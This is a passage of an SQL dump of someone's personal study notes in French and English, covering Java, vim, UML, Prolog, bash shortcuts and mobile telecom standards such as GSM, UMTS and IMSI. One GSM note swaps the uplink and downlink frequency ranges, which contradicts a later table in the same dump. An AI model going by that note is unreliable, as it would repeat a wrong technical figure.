Couple<Integer> (oi1, oi2) ;\n    mais on ne peut pas faire:\n        Couple <int> c ;\n\n\nune autre ex d_utilisation\n=============================\nLinkedList implemente Collection\ndonc il est possible d_utiliser\n    LinkedList<String>  ls01 = new LinkedList<String>();\n\n\n\n++\n\nil est aussi possible de faire plusieurs parametres lors de programmation generic\n    class Couple<T, U> {\n        \n        private T x;\n        private U y;\n\n        ...\n    }\n\n','2015-03-12 13:58:22'),(776,'#java -generic-method',NULL,NULL,'\n +-----\n |    un ex de methode generic\n +-----\n |\n |      seulmt pour dire   --+      +-pour dire                    +--argument du fonction\n |      que T est une classe |      | que T est un valeur de       |\n |      de type generique  --+      +-     retour                  |\n |                           |      |                              |\n |                         .-+-.    v                           .--+-------.\n |   +- static              <T>     T               hasard (    T [] valeurs    ){ \n |   |      int n = valeurs.length ;                `-+--`\n +---+      if (n == 0) return null ;                 +---- ceci est le nom du fct\n     |      int i = (int) (n * Math.random() ) ;\n     |      return valeurs[i] ;\n     +- }\n    \n     \n                                               ceci va afficher un nb au hasard venant de     -+\n                                                       {1, 5, 8, 4, 9}                        -+\n                                                                                               |\n    main() {                                                                                   |\n        Integer[] tabi = { 1, 5, 8, 4, 9} ;                                                    |\n        System.out.println (\"hasard sur tabi = \" + hasard (tabi) ) ;            <<<------------+\n        String [] tabs = { \"bonjour\", \"salut\", \"hello\"} ;\n        System.out.println (\"hasard sur tabs = \" + hasard (tabs) ) ;            <<<<-----------+\n    }                                                                                          |\n                                                    va afficher un str au hasard venant de    -+\n                                                             tabs                             -+\n\n\n','2015-02-20 22:50:23'),(778,'#java -DataOutPutStream -FileOutPutStream -sequentiel-binary',NULL,NULL,'\nla majorite des actions lance IOException\n\nifk: pour ouvrir une flux_sortie\n    DataOutputStream fl_sortie = new DataOutputStream( \n        new FileOutputStream (nomfich)\n    ) ;\n\npour ecrire \"int\" dans la flux    \n    fl_sortie.writeInt(4);\n		sache que lors de l_ecriture dans le fichier\n			il sera ecrit en binaire\n\nn_oublie pas que presque tout doit se passer a l_interieur de\n    try{ ... } \n    catch (IOException ioe) {  }\n\non doit tjr fermer la flux apres que l_action est fait\n    fl_sortie.close();\n','2015-02-21 00:16:52'),(779,'#vim -abbreviation in-insert-mode_automatically',NULL,NULL,'\n:abbrev p potatoes\n    then when u type p<space>\n        u will get potatoes in the buffer automatically\n    and if you type p<tab>\n        u will get potatoes<tabulation> in the buffer automatically\n\nto clear all abbreviation\n	:abc\n\nto unabbreviate\n	:una rtfm','2015-02-21 00:27:14'),(780,'#vim -plugin -delimitmate',NULL,NULL,'\ninstall:\n    cd\n    git submodule add git://github.com/Raimondi/delimitMate.git\n    mv delimitMate/ .vim/bundle/\nnow it is installed\n\nto get help\n    :help delimitmate\n\ntest\n    vi\n    try to type in insert_mode\n    ()\n    {}\n    []\n    \n','2015-02-21 00:48:11'),(781,'#vim -sketch -plugin',NULL,NULL,'\ninstall\n================================\n    dl: http://www.vim.org/scripts/download_script.php?src_id=2667\n    extract that file\n         +- sketch.vim\n         +- sketch.tut\n\n    mv sketch.vim ~/.vim/plugin\n\nhow I used it:\n    vi ~/.vimrc\n    map <c-m>sketch :call ToggleSketch() <CR>\n    \'\n    then, when I type \n        <c-m>sketch\n    sketch will be activated\n','2015-02-21 01:05:24'),(782,'#java -exception -intro',NULL,NULL,'\nclass ErrConst extends Exception{ }                       +--- cette methode\n                                                          |      pE avoir lancer ces\nclass Err01 extends Exception{ }                          |      exceptions OU PAS\n                                                          |\nclass class00{                                            |\n    public void meth00() throws ErrConst, Err01{   <<-----+\n\n    }\n}\n','2015-02-22 00:36:58'),(785,'#java -methode-with-throws',NULL,NULL,'\nles methodes avec throws extException,\n    soit il possede\n        ..... { throw new extException()}\n    ou bien, il possede\n        ..... { \n            try{} \n            catch(extException extExc00){}\n            }\n','2015-02-22 00:54:17'),(786,'#java -finally -exception',NULL,NULL,'\ninstr01\ntry{\n    ...\n}catch(){\n    ...\n}\nfinally{\n    ...\n}\n\ncela veut dire que:\n    le prg passe dans try{ ... }\n    s_il entre dans catch(){ ... } ou pas\n        le prg _doit_tjr_ entrer dans finally{ ... }\n','2015-02-22 01:16:16'),(787,'#des_p -type','\nhttp://www.tutorialspoint.com/design_pattern/design_pattern_overview.htm\ncreational patterns\n    provide a way to create obj while hide the creation logic\n\nstructural patterns\n    concern class and object composition\n    concept of inheritance is used to compose interface\n        then define ways to compose objects\n\nbehavioral patterns\n    concerned with communication between objects.   \n\nj2ee pattern\n    concerned with the presentation tier\n',NULL,NULL,'2015-02-22 05:48:41'),(788,'#des_p -glimpse','\nfactory pattern\nabstract factory pattern\nsingleton pattern\nbuilder pattern\nprototype pattern\nadapter pattern\nbridge pattern\nfilter pattern\ncomposite pattern\nfacade pattern\nflyweight pattern\nproxy pattern\n\ncommand pattern\ninterpreter pattern\niterator pattern\nmediator pattern\nmemento pattern\nobserver pattern\nstate pattern\nnull object pattern\nstategy pattern\ntemplate pattern\nvisitor pattern\n',NULL,NULL,'2015-02-22 05:57:33'),(789,'#java -variables -pass_by-reference -by-value','Objects and primitives are passed by value',NULL,NULL,'2015-02-22 06:41:09'),(790,'#java -class-loader','\nThe very first class is especially loaded with \"static main()\"\n	All the subsequently classes will be loaded from the classes in that meth\n',NULL,NULL,'2015-02-22 06:46:41'),(791,'#uml -intro','\numl was created by omg in 1997\numl is a pictorial language used to make software blue prints\n\nit is mostly used to model software sys\n    but it can model non software systems as well like process flow in a manufacturing unit\n\ngoals:\n====================================\nA picture is worth a thousand words\n\nto define some general purpose(idea)\n    the idea will be easy to understand and to use\n\nUML diagrams are not only made for developers but also for business users\n    The system can be a software or non software.\n\nUML describes the real time systems\n\n\n\n\na conceptual model is required\n    a model which is made of concepts and the relationships of those concepts.\n    the first step before drawing a UML diagram.\n        It helps to understand the entities in the real world and how they interact with each other.\n    \'\n    as uml describes the real time systems, then the conceptual model will be done gradually\n    \'\n    conceptual model of uml can be mastered by understanding the following 3elts:\n        uml building blocks\n        rules to connect the building blocks\n        common mechanisms of uml\n\n\n\n\noo concepts:\n    objects contains both data and methods(control the data)\n        data(represents the state of the object)\n    objects are the real world entities\n    \'\n    Following are some fundamental concepts of object oriented world\n        objects\n        class\n        abstraction:    represents the behavior of an real world entity\n        encapsulation:  the mechanism of binding the data together and hiding them from outside world.\n        inheritance:    the mechanism of making new classes from existing one\n        polymorphism:   defines the mechanism to exists in different forms\n\n\n\noo analysis and design\n    oo_analysis:    the investigation of objects\n    design:         the collaboration of identified objects\n',NULL,NULL,'2015-02-22 06:49:44'),(792,'#fs -mmt|nonickn-file-architecture','\nthe uuid will be get by using:\n    blkid\nsome information will be gotten from\n    df\n    fdik -l\n\nhere I will try to define how all my files are saved in my hdds:\nI have 3 hdds:\n    little_seagate(320G)\n    sn: W045P05A\n        84G\n            /media/03542841-3000-4d54-8be0-36331794bb72\n            uuid:   416f5a0d-b6d2-4f44-84ae-a1c2166d5bb9\n        21G\n            /media/a6a5a339-67d7-4b08-98c9-5ff3f153c7ca\n            uuid:   208a16d7-719c-4cb8-910b-784a3becf466\n        105G\n            /media/2b023182-a68c-480f-8f7f-e4925fe84c7f\n            uuid:   2b023182-a68c-480f-8f7f-e4925fe84c7f\n        18G\n            /media/32b87c5e-1f65-476e-b5fc-87ecf32078c8\n            uuid:   32b87c5e-1f65-476e-b5fc-87ecf32078c8\n        84G\n            /media/FE0C41EF0C41A40D\n            uuid:   FE0C41EF0C41A40D\n\n    samsung(160G)\n    s/n:    S0V3J9CQ874295\n        81G\n            /media/3468031A6802DA8E\n            uuid:   208a16d7-719c-4cb8-910b-784a3becf466\n        79G\n            uuid:   88AAF0B7AAF0A2BC\n    \n    \n    western_digital(500G)   \n        500G\n            uuid:   C0B83B4BB83B3EEA    \n',NULL,NULL,'2015-02-22 09:40:39'),(793,'#tel_m -generation','\n1G      Radiocom 2000   Radiocom 2000 France Telecom\n        NMT             Nordic Mobile Telephone\n2G      GSM             Global System for Mobile Communication\n2.5G    GPRS            General Packet Radio Service\n2.75G   EDGE            Enhanced Data Rate for GSM Evolution\n3G      UMTS            Universal Mobile Telecommunications System\n3.5G    HSDPA           High Speed Downlink Packet Access\n        HSUPA           High Speed Uplink Packet Access\n3.75G   HSOPA           High Speed OFDM Packet Access\n4G      LTE             Long Term Evolution\n        WIMAX           Worldwide Interoperability for Microwave Access\n\n\n\n\n\n\n\n\nlong-list\n=================================================\n0G\n    PTT\n    MTS\n    IMTS\n    AMTS\n\n0,5G\n    Autotel/PALM\n    ARP\n\n1G\n    NMT\n    AMPS\n    Hicap\n    CDPD\n    Mobitex\n    DataTac\n    TACS\n    RC2000\n    C-NETZ\n    Comvik\n    NTT\n\n2G\n    GSM\n    iDEN\n    D-AMPS\n    CDMA\n    PDC\n    SD\n    IS-95\n    IS-136\n    DCS 1800\n    DECT\n\n2,5G\n    GPRS\n    HSCSD\n    WiDEN\n\n2,75G\n    CDMA 2000 1xRTT\n    EDGE\n\n3G\n    W-CDMA\n    UMTS\n    FOMA\n    CDMA 2000 1xEV\n    TD-SCDMA\n\n3,5G\n    HSDPA\n\n3,75G\n    HSUPA\n\n4G\n    HC-SDMA\n    iBurst\n    LTE\n    WiMAX\n\n',NULL,NULL,'2015-02-22 11:59:04'),(794,'#java -heritage -abstract -inheritance -interface',NULL,NULL,'\nsupposons dans la foret, \n    on veut programmer le monde des animaux\n=============================================\nqui dit \"point commun\" dit heritage\ntout les animaux possedent:\n    un couleur, facon_manger, facon_deplacer, poids, cri, ....\n    il y a point_commun pour tout les animaux, donc\n    \'\n              +-----------------------+\n              | Animaux               |\n              +-----------------------+\n              | couleur               |\n              | poids                 |\n              +-----------------------+\n              | facon_manger()        |\n              | facon_deplacer()      |\n              | crier()               |\n              +-----------------------+\n    \'\n    puis vient les (loup, chien, chat, lion, ....) qui prend tout les proprietes et \n        les facons de faire ce que les animaux(class animal) font et possedent\n    \n                                  +-----------------------+\n                                  | Animaux               |\n                                  +-----------------------+\n          +-------------->        | couleur               |\n          |                       | poids                 |\n          |                       +-----------------------+\n          |              +--->    | facon_manger()        |       <------+\n          |              |        | facon_deplacer()      |              |\n          |              |        | crier()               |              |\n          |              |        +-----------------------+              |\n     +----+----+    +----+------+                                   +----+-----+\n     |  Loup   |    |           |      ^   +--------------+         | Lion     |\n     +---------+    |  Chat     |      |   |   Chien      |         +----------+\n     |         |    +-----------+      +---+--------------+         |          |\n     +---------+    |           |          |              |         +----------+\n                    +-----------+          +--------------+\n\n\n\n','2015-02-22 18:15:24'),(795,'#internet -basis','tout l_internet se pose sur 3types d_operateurs:\n    isp | prestataire de srvc\n    fournisseurs d_access\n    operateur de transport\n\nisp est le proche des internautes\n    ex d_isp:\n        telma, blueline, ...\n    \nechange entre client et isp\n    client donne de l_argent a l_isp\n    isp donne abonnement\n        adresse mail au client\n\nschema basique de l_internet\n                             +----------------------------------------+---------------------------------------+\n        client_internet      |     entreprise   ----+                 |      +--  internaute              ----+--+        operateur de \n ----------------------------+----------------------|-----------------+------+--------------------------------+  |\n                             |    fournisseur       |                 |      +->> prestataire de srvc     --+ <<<+ --+    transport de\n        service_internet     |        d_         <<-+                 +-------------------------------------+-+      |    \n                             |     access                ---+         |                                  <<-+ |<<<<<-+    telecommunication\n-----------------------------+------------------------------|---------+---------------------------------------+\n        reseau_internet      |     operateur de transport  <+               --+                               |\n ----------------------------+------------------------------------------------|-------------------------------+\n                             |   operateur de cablage                       <<+                               |\n                             +--------------------------------------------------------------------------------+\n\nsi un prestataire de srvc donne de l_abonnement a ses clients,\n    il doit etre d_abord etre connectee a internet\n    pour cela, le prestataire de service doit louer une connection_internet \n        a un ( fai | iap ), et doit acheter un nom de domaine\n    \'\n    le nom de domaine est attribuer par icann (apnic + arin + ripe)\n\n(#097 i_thought:\n    client -------->>> fai\n    maintenant c:\n        client ------------>>> prestataire_srvc --------->>> fai\n#098)\n                                                                   \n',NULL,NULL,'2015-02-22 19:16:29'),(796,'#so -intro','\nici l_ordi est le travailleur(l_employee)\nPour travailler, l’employé est au centre des traitements,\n    on lui remet dans un dossier le travail à faire(information d_entree)\n    dans un autre dossier il devra mettre le travail fait (informations en sortie)\n     \n                         +------------------+\n        +--------+       |+----------------+|        +-----------+\n        | entree +----->>|| sys de traitmt ++------>>|  sorties  |\n        +--------+       |+----------------+|        +-----------+\n                         +------------------+\n\npour exe son travail, l’employé peut avoir besoin de réaliser des calculs\n    il dispose pour cela d’une calculatrice(unitee de calcul)\n\nl’employé va noter sur un brouillon les instructions qu’il a reçues et qui constituent son __programme__ de travail,\n\nl_employee a besoin de noter a besoin de noter des info sur les donnees dont il va traiter\n    c_est la memorisation_des_instructions(ifk: par ou il s_est arretee la derniere fois)\n    cette memoire vit ----->> c_est la __memoire_vive__\n\nl_employee a besoin de stocker certains informations comme la tva, qu_il va memoriser une fois pour toute\n    c_est une memo qui ne vit pas :: __memo_morte__\n\ncertains info sont trop gd pour etre memorisees de tete par l_employee(catalogue des prix, addr_client, ...)\n    on introduit la memorisation_externe ou auxiliaire\n\n\n',NULL,NULL,'2015-02-24 09:50:45'),(797,'#binaries -equivalence-power','\n2^-n                    n             2^n\n-------------------------------------------------\n1                       0             1\n0.5                     1             2\n0.25                    2             4\n0.125                   3             8\n0.0625                  4             16\n0.03125                 5             32\n0.015625                6             64\n0.0078125               7             128\n0.00390625              8             256\n0.001953125             9             512\n0.0009765625            10            1024\n',NULL,NULL,'2015-02-24 10:18:14'),(798,'#binaries -operations','\n            1 1 0 0     |   1 0 0\n                        +---------------\n       -    1 0 0            1        <<<<--- ty no mande voloo\n    -----------------        |\n            0 1 0 0          +--------+\n       -      1 0 0          1        |\n   -------------------                |\n              0 0 0   +---------------+\n                      v\ndonc le resultat est (11)b2\n\nexo:\n    1 0 1 1 0 0 diviser par 1 0 0 egal 1 0 1 1 \n\n====================================================================\n                                        +-----------+\n                                     +--+-----+     |\n(4.25)b10                            |        |     +----- 1 . (1 / 4)\n1.2^2 + 0.2^1 + 0.2^0 + 0.(2^(-1)) + 1.(2^(-2))                |     |\n|                   |   |                     |                +--+--+\n+---+---------------+   +---+-----------------+                   +- = 0.25\n    +---- = 4               +-- = 0.25\n\n\n\n\n2^-n                    n             2^n \n1                       0             1\n0.5                     1             2\n0.25                    2             4\n0.125                   3             8\n0.0625                  4             16\n0.03125                 5             32\n0.015625                6             64\n0.0078125               7             128\n0.00390625              8             256\n0.001953125             9             512\n0.0009765625            10            1024\n',NULL,NULL,'2015-02-24 10:20:10'),(799,'#so -notion-mot','\n0000 0000 0000 0000 0000 0000 0000 0000\n========================================\n|  |\n+--+\n+--quartet\n\n|       |\n+-------+\n+--octet(demi-mot)\n\n|                  |\n+------------------+\n+-- mot de 16bits\n\n|                                      |\n+--------------------------------------+\n+----------  double_mots\n',NULL,NULL,'2015-02-24 10:25:24'),(800,'#so -entiers-signees','\nnormalement, (27)b10 = 1 1 0 1 1\n\ndans un entier signee, \n    (27)b10 est 0 1 1 0 1 1\npour que (-27)b10 soit\n    1 1 1 0 1 1\n',NULL,NULL,'2015-02-24 10:27:50'),(801,'#uml -9-diagrammes','\nselon le livre de morley(UML POUR L’ANALYSE D’UN SYSTÈME D’INFORMATION)\nil y a 9 diagrammes pour uml\n    le livre ne presente que 7 diagrammes\n1  diagramme de classes ;                -+-- pour l_aspect statique du sys\n2  diagramme d’objets ;                  -+\n\n3  diagramme d’états-transitions ;       -+-- pour l_aspect dynamique du sys\n4  diagramme d’activités ;                |\n5  diagramme de collaboration ;           |\n6  diagramme de séquence ;                |\n7  diagramme de cas d’utilisation.       -+\n\n8 le diagramme de composants ;           -+-- pour les informaticiens\n9 le diagramme de déploiement.           -+\n\n',NULL,NULL,'2015-02-24 10:40:52'),(985,'#uml -tutopoint','\nit is not only a computer_prg which is able to design with uml\n    but even a system in the current_life\n                                                                 -----+\n       +--------+                          +----------------+         |\n       | design +------+     +-------------+ implementation |         |\n       +--------+    +-+-----+--+          +----------------+         |\n                     | use case |                                     |\n    +------------+   +--+----+--+          +---------+                |\n    | deployment +------+    +-------------+ process |                |\n    +------------+                         +---------+                |\n                                                                      |\n                                                                      |\ndesign consists of                                                    |\n    class                                                             |\n    collaboration                                                     |\n    interfaces                                                        |\n                                                                      |\nimplementations means assembled everything to                         |\n    make a complete physical_sys                                      |\n                                                                      |\nprocess defines the flow of the sys                                   |\n                                                                 -----+\n\n\n================================================================================\nmodeling a sys with uml has three types:                                        <<-+\n    u model only the static features of the sys                                    |\n        that means structural modeling                                             |\n    u describe the interaction in the sys                                          |\n        that means behavioral modeling                                             |\n    u describe the overall framework                                               |\n        it contains both structural&behavioral modeling                            |\n================================================================================   |\n                                                                                   |\n                                                                                   |\n                                                                                   |\nfor modeling in structural model, u need                                -----------+ ----+\n    classes,                                                                             |\n        notation: u should know that already                                             |\n    interfaces,                                                                          |\n        notation:                                                                        |\n            +-----------------------+                                                    |\n            |    interf00           |  <<interface>>                                     |\n            +-----------------------+                                                    |\n            |                       |                                                    |\n            |                       |                                                    |\n            |                       |                                                    |\n            |                       |                                                    |\n            +-----------------------+                                                    |\n    objects                                                                              |\n            +-----------------------+    -+---- really the same as the                   |\n            |     Person            |     |        class but class_name is               |\n            +-----++++++------------+     |        underlined                            |\n            |    +name  : String    |     |                                              |\n            |    #id  : int         |     |                                              |\n            |    -                  |     |                                              |\n            +-----------------------+    -+                                              |\n                                                                                         |\n    collaboration,                                                                       |\n        notation: represented by a dotted eclipse                                        |\n    use_case,                                                                            |\n    actor                                                                                |\n        notation:                                                                        |\n    initial_state                                                                        |\n        notation:                                                                        |\n    final_state                                                                          |\n        notation                                                                         |\n    active_class                                                                         |\n        notation is the same as the class but the border is in bold                      |\n    component notation                                                                   |\n    node notation                                                                      --+\n\n',NULL,NULL,'2015-03-14 21:10:34'),(803,'#prolog -charging-files',NULL,NULL,'\nswipl -f /path/file00\n','2015-02-24 14:54:58'),(804,'-predicat #prolog -argument',NULL,NULL,'\nin book of prolog, in error_msg of prolog u may see something like this:\n    =/2     this means, the built-in = in prolog must have 2arg\n        so u can do         =(val00, val00).\n    help/2\n        this means the function _help_ has 2arguments\n','2015-02-24 14:57:12'),(805,'#prolog -matching',NULL,NULL,'\nthose will be true,\n    ?- =(mia, mia).\n    ?- mia=mia.\n    ?- mia = mia.\n    ?- mia= mia.\n    ?- 2 = 2 .\n    ?- \'mia\' = mia.\n\nthose will be false.\n    ?- \'2\' = 2 .\n    \'\n    X = mia , X = vincent .\n','2015-02-24 15:08:59'),(806,'#ff -new-tab','<c-t>',NULL,NULL,'2015-02-24 18:20:43'),(807,'#ff -history',NULL,NULL,'sqlite3 ~/.mozilla/firefox/*.[dD]efault/places.sqlite \"SELECT strftime(\'%d.%m.%Y %H:%M:%S\', visit_date/1000000, \'unixepoch\', \'localtime\'),url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER BY visit_date;\"','2015-02-25 04:41:58'),(808,'#network -external#ip #linux',NULL,'dig +short myip.opendns.com @resolver1.opendns.com',NULL,'2015-02-25 04:44:37'),(809,'#linux -get-beep',NULL,NULL,'\ndo not forget to check in gnome-terminal\n    Edit > \'Profile Preferences\' > \'Terminal Bell\'\n\n\n    echo -ne \'\\007\'\n    echo -e \'\\a\'\n','2015-02-25 04:49:47'),(810,'#hardinfo -hoardware-information -tools','\napt-get install hardinfo\nhardinfo\n',NULL,NULL,'2015-02-25 05:31:19'),(811,'#cache -gen_c -intro','\nCache is a high-speed access area that can be either a reserved section of main memory or storage device\nThe two main cache types are \n    memory cache \n    disk cache\n\nMemory cache is a portion on memory of high-speed static RAM (SRAM)\n    static RAM (SRAM) and is effective because most programs access the same data or instructions over and over.\n    \'\n    Today, most computers come with L3 cache or L2 cache\n',NULL,NULL,'2015-02-25 05:47:59'),(812,'#youtube-dl #yt_dl -select-vid-quality',NULL,'youtube-dl -F link00',NULL,'2015-02-25 05:52:15'),(813,'#youtube-dl #yt_dl -select-vid-quality',NULL,NULL,'\nyoutube-dl -F link00\nout:            ^^---------------+\nu have to wait a little bit.     |\n...                              |\n171         webm      audio only |DASH audio   96k , audio@128k (44100Hz), 19.82MiB (worst)\n140         m4a       audio only |DASH audio  131\n                                 |\n                                 |\nif u want to get the 171  + -----+\n    \'                    v\n    youtube-dl -f 171 link00\n\n','2015-03-12 06:46:02'),(814,'#youtube-dl -installation',NULL,NULL,'\ncheck that your pip is installed\n    apt-cache policy python-pip\n\nif pip is installed, then install youtube-dl\n    sudo pip install youtube-dl\n','2015-02-25 06:03:51'),(815,'#bash -shortcuts',NULL,NULL,'\nBash Keyboard Shortcuts\n\nMoving the cursor:\n\n  Ctrl + a   Go to the beginning of the line (Home)\n  Ctrl + e   Go to the End of the line (End)\n  Ctrl + p   Previous command (Up arrow)\n  Ctrl + n   Next command (Down arrow)\n   Alt + b   Back (left) one word      or use Option+Right-Arrow\n   Alt + f   Forward (right) one word  or use Option+Left-Arrow\n  Ctrl + f   Forward one character\n  Ctrl + b   Backward one character\n  Ctrl + xx  Toggle between the start of line and current cursor position\n\nEditing:\n\n Ctrl + L   Clear the Screen, similar to the clear command\n\n  Alt + Del Delete the Word before the cursor.\n  Alt + d   Delete the Word after the cursor.\n Ctrl + d   Delete character under the cursor\n Ctrl + h   Delete character before the cursor (backspace)\n\n Ctrl + w   Cut the Word before the cursor to the clipboard.\n Ctrl + k   Cut the Line after the cursor to the clipboard.\n Ctrl + u   Cut/delete the Line before the cursor position.\n\n  Alt + t   Swap current word with previous\n Ctrl + t   Swap the last two characters before the cursor (typo).\n Esc  + t   Swap the last two words before the cursor.\n\n ctrl + y   Paste the last thing to be cut (yank)\n  Alt + u   UPPER capitalize every character from the cursor to the end of the current word.\n  Alt + l   Lower the case of every character from the cursor to the end of the current word.\n  Alt + c   Capitalize the character under the cursor and move to the end of the word.\n  Alt + r   Cancel the changes and put back the line as it was in the history (revert).\n ctrl + _   Undo\n \n TAB        Tab completion for file/directory names\n\n    For example, to move to a directory \'sample1\'; Type cd sam ; then press TAB and ENTER.\n    type just enough characters to uniquely identify the directory you wish to open.\n\nHistory:\n\n  Ctrl + r   Recall the last command including the specified character(s)\n             searches the command history as you type.\n             Equivalent to : vim ~/.bash_history. \n  Ctrl + p   Previous command in history (i.e. walk back through the command history)\n  Ctrl + n   Next command in history (i.e. walk forward through the command history)\n   Alt + .   Use the last word of the previous command\n  Ctrl + s   Go back to the next most recent command.\n            (beware to not execute it from a terminal because this will also launch its XOFF).\n  Ctrl + o   Execute the command found via Ctrl+r or Ctrl+s\n  Ctrl + g   Escape from history searching mode\n\nProcess control:\n\n Ctrl + C   Interrupt/Kill whatever you are running (SIGINT)\n Ctrl + l   Clear the screen\n Ctrl + s   Stop output to the screen (for long running verbose commands)\n Ctrl + q   Allow output to the screen (if previously stopped using command above)\n Ctrl + D   Send an EOF marker, unless disabled by an option, this will close the current shell (EXIT)\n Ctrl + Z   Send the signal SIGTSTP to the current task, which suspends it.\n            To return to it later enter fg \'process name\' (foreground).\n','2015-02-25 07:14:09'),(818,'#pcs -intro','\npcs = personal communication srvc\n\nspecifications for different Personal Communication Services (PCS) systems vary among the different PCS networks. \n    ifk: gsm is one of pcs, and it has its own specification\n',NULL,NULL,'2015-02-25 08:37:13'),(819,'#umts -intro -long-list','\nbased on the GSM standards, \numts is a mobile cellular system in the third generation\numts is maintained by 3GPP\n\numts is sometimes compared with cdma2000_networks\nifk: cdma2000 is the opponent of umts\n\numts uses wcdma\n    Currently, WCDMA networks are deployed in UMTS band of around 2 GHz in Europe and Asia, including Japan and America Korea\n    wcdma is now deployed in many countries\n    u have to check wcdma (873) and hspa\n        hspa is deployed over the WCDMA network \n            on the same carrier\n                for high capacity and high speed solution\n            or\n            using another carrier\n        in both case,\n            WCDMA and HSPA can share all the network elements in the core network \n                and the radio network\n                (bts, rnc, sgsn, ggsn)\n            WCDMA and HSPA also share the site base station antennas and antenna cables\n\nThe upgrade WCDMA HSPA requires \n    new software\n    new equipment \n        in the bts\n        RNC \n    to support the rate and higher data capacity\n\nBecause of the shared infrastructure between WCDMA and HSPA\n    the cost of the upgrade WCDMA HSPA is very low \n    compared to the construction of a new stand-alone data network\n\n\nin umts every_entities should be ip\n    simple ip is not enough, many technology are introduced as\n        tunneling, virtualisation( ifk: vlan), ...\n        \'\n        so there are: mobility, security, better qos\n   Each UMTS subscriber has a dedicated home network with \n        which it shares a secret key Ki long term\n        \'\n        hlr keeps track of the current location of all the home network subscribers\n\nMutual authentication between a mobile station and a visited network is carried out \n    with the support of the current GSN (SGSN) and the MSC/VLR\n\nUMTS supports encryption of the radio interface and the integrity protection of signaling messages\n',NULL,NULL,'2015-03-06 04:36:52'),(820,'about-modulation #telec','\nmodulation is a form of change process where we change the input information into a suitable format for the transmission medium\nWe also changed the information by demodulating the signal at the receiving end\n',NULL,NULL,'2015-02-25 08:42:43'),(821,'#adc -intro','\nadc: analog to digital converter\nfrom analog, the freq is the most important\n    analog -> [Hz]\nto digital, u say about bits\n    digital -> [bps]\n                bits per second\n',NULL,NULL,'2015-02-25 09:25:02'),(822,'#telec -imei -imsi -tmsi -intro','\nimei\n=================\nidentifies a mobile station internationally. a kind serial number\nit is stored in the eir\nit is allocated by the equipment manufacturer\n\'\nIMEI = TAC + FAC + SNR + SP\n    tac: 6 decimal places, centrally assigned   \n    fac: 6 decimal places, assigned by the manufacturer.\n    snr: 6 decimal places, assigned by the manufacturer.\n    sp: 1 decimal place.\n\n\n\n==================\n#imsi-------------\ndifferent subscribers_identity are used, and they are used in different phases of call setup\n\'\nimsi is the first nb_identity of the subscriber\n    it is assigned permanently to that subscriber\n\nEach registered user is uniquely identified by its imsi\n\nimsi is stored in the sim\nit is 15digits\nThe IMSI is used to acquire the details of the mobile \n    in the HLR or \n    in the VLR\n\'\nimsi = mcc + mnc + msin\n    mcc: 3 decimal places, internationally standardized.\n    mnc: 2 decimal places, for unique identification of mobile network within the country.\n    msin: Maximum 10 decimal places, identification number of the subscriber in the home mobile network\n\nAfter the subscriber’s IMSI has been initialized on the system\n    the TMSI can be used for sending backward and forward across the network to identify the subscriber\n    \'\n    The system automatically changes the TMSI at regular intervals\n        for the security of the subscriber\n        with the lai    \n',NULL,NULL,'2015-02-28 04:03:18'),(817,'#gsm -history','\n1982	CEPT establishes a GSM group in order to develop the standards for a pan-European cellular mobile system.\n\n1985	A list of recommendations to be generated by the group is accepted.\n\n1986	Field tests are performed to test the different radio techniques proposed for the air interface.\n\n1987	Time Division Multiple Access (TDMA) is chosen as the access method (with Frequency Division Multiple Access [FDMA]). The initial Memorandum of Understanding (MoU) is signed by telecommunication operators representing 12 countries.\n\n1988	GSM system is validated.\n\n1989	The responsibility of the GSM specifications is passed to the European Telecommunications Standards Institute (ETSI).\n\n1990	Phase 1 of the GSM specifications is delivered.\n\n1991	Commercial launch of the GSM service occurs. The DCS1800 specifications are finalized.\n\n1992	The addition of the countries that signed the GSM Memorandum of Understanding takes place. Coverage spreads to larger cities and airports.\n\n1993	Coverage of main roads\' GSM services starts outside Europe.\n\n1994	Data transmission capabilities launched. The number of networks rises to 69 in 43 countries by the end of 1994.\n\n1995	Phase 2 of the GSM specifications occurs. Coverage is extended to rural areas.\n\n1996	June: 133 network in 81 countries operational.\n\n1997	July: 200 network in 109 countries operational, around 44 million subscribers worldwide.\n\n1999	Wireless Application Protocol came into existence and 130 countries operational with 260 million subscribers.\n\n2000	General Packet Radio Service(GPRS) came into existence.\n\n2001	As of May 2001, over 550 million people were subscribers to mobile telecommunications.\n',NULL,NULL,'2015-02-25 08:24:26'),(823,' -fdma-tdma','\nhttp://www.tutorialspoint.com/gsm/gsm_specification.htm\nspecification of gsm is about:\n    modulation type\n    access methods\n    transmission rate\n    freq band\n    channel spacing\n    speech coding\n    duplex distance\n\n===============================================================\nmodulation type:\n    gsm uses gmsk(gaussian modulation shift keying)\n\naccess method\n    GSM chose a combination of TDMA/FDMA as its method\n        FDMA part involves the division by frequency of the total 25 MHz bandwidth \n            into 124 carrier frequencies of 200 kHz bandwidth.\n        one or more frequ are assigned to one bs\n            each carrier will be divided into 8 by the tdma\n\nfreq band\n    the uplink freq range:  933 - 960 MHz\n    the downlink freq range:    890 - 915 MHz\n    remember the value 25Mhz\n\nchannel spacing \n    it is the separation between adjacent carrier frequencies\n    in gsm it is 200kHz\n\nspeech coding:\n    gsm uses lpc,\n        its purpose is to reduce the bit rate\n        provide a filter which mimics the voice\n        Speech is encoded at 13 kbps\n\nframe duration:\n    in gsm it_s 4.615 mS\n\nSpeech channels per RF channel: 8\n\nDuplex Technique: fdd (previously the wcdma)\n',NULL,NULL,'2015-02-25 14:21:10'),(824,'#vim -unmap-arrows',NULL,NULL,'\nmap <Left> <Nop>\nmap <Right> <Nop>\nmap <Up> <Nop>\nmap <Down> <Nop>\n','2015-02-25 12:35:51'),(825,'#1G -about','\ndisadvantage:\n============================\nevery thing is analog\n    then not robust to interference\nmany countries have their own standards\n',NULL,NULL,'2015-02-25 12:53:13'),(826,'#2G -advantage','\nuses advanced modulation\nimproved spectral utilization\nsms is included\nImproved efficiency of access\n',NULL,NULL,'2015-02-28 17:13:43'),(827,'#gsm -freq-range','\nSystem 			P-GSM (Primary) 	E-GSM (Extended) 	GSM 1800		GSM 1900\n====================================================================================\nFreq Uplink 	890-915MHz			880-915MHz			1710-1785Mhz	1850-1910MHz\nFreq Downlink 	935-960MHz			925-960MHz			1805-1880Mhz	1930-1990MHz\n',NULL,NULL,'2015-02-25 13:10:05'),(828,'#pstn -intro','\nThe PSTN consists of telephone lines, fiber optic cables, microwave transmission links, \n    cellular networks, communications satellites, and undersea telephone cables, \n    all interconnected by _switching_centers_\n    \'\n    thus allowing any telephone in the world to communicate with any other.\n\npstn 